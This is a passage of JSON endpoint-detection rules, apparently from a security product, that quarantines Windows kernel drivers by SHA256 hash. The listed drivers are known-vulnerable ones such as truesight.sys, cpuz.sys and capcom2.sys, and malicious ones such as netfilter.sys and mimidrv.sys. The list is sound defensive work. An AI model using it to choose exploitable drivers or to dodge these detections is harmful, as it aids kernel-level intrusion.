+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967711Z",
+  "creation_date": "2026-03-23T11:45:29.967713Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967718Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "004c319b601312c834fe86ae7c292621dee80bc47609deba70d8ae7eaf499b72",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b34ea632-95ba-561d-a2f7-3a3b6a78fc06",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493365Z",
+  "creation_date": "2026-03-23T11:45:31.493367Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493372Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f44a9d08cb5f0b9f212269d11899367abf2c6cb8eb3400d1abcacc47c065327e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b35120d1-0066-53d6-b442-70a69d36fabd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150924Z",
+  "creation_date": "2026-03-23T11:45:31.150926Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150931Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bdba77fac50a18117cb65f9b14c9b1ebdf361eb93cc6df75bdb45bd6b0a8e9f5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b35d85a3-22c9-5f84-b2e5-6fc2f03384f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970428Z",
+  "creation_date": "2026-03-23T11:45:29.970431Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970440Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3b2cd65a4fbdd784a6466e5196bc614c17d1dbaed3fd991d242e3be3e9249da6",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b36029ac-e6e9-53ba-9495-85a7b363205a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490765Z",
+  "creation_date": "2026-03-23T11:45:31.490767Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490772Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9cbc2c3b1d3ff3e8b70534ad2baff4b7266312a9a709f83114c5617bcb10f0d2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b3a88402-ae3a-5203-9618-b68a109f2aa1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487926Z",
+  "creation_date": "2026-03-23T11:45:31.487928Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487933Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "464c021854994a4e3d5461eb3da298d8edab04d16854abff5561ed2f236eb1a3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b3ac668e-cce2-56b3-a97e-c9b3f4834655",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615014Z",
+  "creation_date": "2026-03-23T11:45:29.615016Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615021Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ef86c4e5ee1dbc4f81cd864e8cd2f4a2a85ee4475b9a9ab698a4ae1cc71fbeb0",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b3b1d786-6268-54ae-9c3b-8ff7d994b1fc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812979Z",
+  "creation_date": "2026-03-23T11:45:31.812982Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812991Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b3cca7fc8463525f0562af040ed47b86acdb24d4ea4380af9bd882d3bcc2cff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b3b9e38e-0dd9-5805-b7a6-dc1f17e0e4b4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980357Z",
+  "creation_date": "2026-03-23T11:45:29.980359Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980366Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8ed0c00920ce76e832701d45117ed00b12e20588cb6fe8039fbccdfef9841047",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b3b9f43f-beea-52ca-8525-b8a3814963e8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821190Z",
+  "creation_date": "2026-03-23T11:45:30.821193Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821202Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8781589c77df2330a0085866a455d3ef64e4771eb574a211849784fdfa765040",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b3bd14e7-55ba-5eeb-8f6f-d28cdf6ceb33",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608387Z",
+  "creation_date": "2026-03-23T11:45:29.608389Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608394Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c088bd8a06904ec62d40f0f1ae9dc5361472a76238a8458090202e057b983945",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b3be3be9-2da7-50c7-88bc-fda3c070fe2f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818082Z",
+  "creation_date": "2026-03-23T11:45:31.818085Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818093Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3485174d70a7be1357dcca39b49ec9a9e841a269de4dbcb30b58207a48e7519a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b3c2267a-1bf8-5cdc-a822-3d50c219fc72",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472154Z",
+  "creation_date": "2026-03-23T11:45:30.472157Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472166Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3301b49b813427fa37a719988fe6446c6f4468dfe15aa246bec8d397f62f6486",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b3c503cb-fb5b-524b-a386-73dce7bfd7e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147311Z",
+  "creation_date": "2026-03-23T11:45:31.147314Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147320Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5cb7aafa4b6b04009f8febe155ecef8213cc65a1a09cb84c30cf2e458a43e4e9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b3ce25d9-dd31-565b-90ff-bbc1e1212796",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822220Z",
+  "creation_date": "2026-03-23T11:45:31.822222Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822227Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b4b349c3be07ad3e3c05a965ee83c9a7bcff6218784cec0ac16fc124360bb276",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b3d3a493-8af8-5618-a1ba-11bd27fb8340",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457748Z",
+  "creation_date": "2026-03-23T11:45:30.457751Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457759Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6621fb2e761237d2b09863fd31951789697f119d118d2e5db0e957ab0173f06a",
+  "comment": "Vulnerable Kernel Driver (aka capcom2.sys) [https://www.loldrivers.io/drivers/45c42e32-6261-43c1-bdbd-cab58da729d8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b3d8cffe-da3e-5750-ae0a-e446a05cb598",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145972Z",
+  "creation_date": "2026-03-23T11:45:32.145974Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145980Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f4f0357629e12ff599ad2f0179ac0f4eaec35044b7498037c2d91282dff9e592",
+  "comment": "Vulnerable Kernel Driver (aka TSDRVX64.sys) [https://www.loldrivers.io/drivers/424a387e-735e-49d1-99de-f067dcf1c3e9/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b3e20df8-1e92-583a-8fb2-c6b5d0638b86",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149318Z",
+  "creation_date": "2026-03-23T11:45:31.149320Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149326Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd7f1a8914e0da98219283e6ce217c74e55329e3dd97725ee275b6e468db799e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b3e59e92-9713-5db9-a2a9-7c853e36e980",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463811Z",
+  "creation_date": "2026-03-23T11:45:30.463814Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463823Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7662187c236003308a7951c2f49c0768636c492f8935292d02f69e59b01d236d",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b3fbec4c-b570-57ac-9935-92715b33819d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978544Z",
+  "creation_date": "2026-03-23T11:45:29.978546Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978552Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e1d3963c55c7ffa96d16e47ec4bbb4e171f828650ce853eb0b83c90ae9c6265a",
+  "comment": "Vulnerable Kernel Driver (aka AMDPowerProfiler.sys) [https://www.loldrivers.io/drivers/9a4fb66e-9084-4b21-9d76-a7afbe330606/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b3ffc1bb-0dce-558a-8d3b-9067ff7f6b10",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488448Z",
+  "creation_date": "2026-03-23T11:45:31.488450Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488456Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e418608e2f1881ab7a46eb0a5eeae8620f01fbb5f9fd7f77cc58f1856a11e217",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b4058d16-20fe-5339-8e67-6fb9c52b49ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978084Z",
+  "creation_date": "2026-03-23T11:45:29.978086Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978091Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "59177fb7a0b11837368af1cc115f0d011ea19551070bd153795204ae1bd12e52",
+  "comment": "Malicious Kernel Driver (aka ntbios_2.sys) [https://www.loldrivers.io/drivers/33a9c9ae-5ca3-442d-9f0f-2615637c1c57/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b405ebf8-f6b7-57e1-9d26-1d94adfc7b09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492825Z",
+  "creation_date": "2026-03-23T11:45:31.492828Z",
+  "enabled": true,
+  "block_on_agent": true,
